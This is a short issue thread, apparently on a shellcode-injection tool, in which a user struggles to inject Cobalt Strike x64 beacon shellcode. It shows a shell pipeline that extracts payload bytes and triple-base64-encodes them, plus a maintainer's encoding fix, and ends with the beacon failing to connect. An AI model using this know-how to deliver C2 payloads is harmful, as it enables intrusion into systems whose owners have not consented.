inject shellcode error

[h2so0o4]

cobaltstrike shellcode x64 inject

error : Invalid byte 10, offset 76.

[mttaggart]

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

[h2so0o4]

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

cobaltstrike 4.3 payload：C# x64 kali：cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | base64 > note.txt notion: inject self http://xxxxxx 3

[h2so0o4]

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

test enviroment : Win11 & Win10

[mttaggart]

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

[h2so0o4]

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

After listening to your suggestion, no more error will be reported, showing "Injection completed!" But my beacon is not online

I don't know what went wrong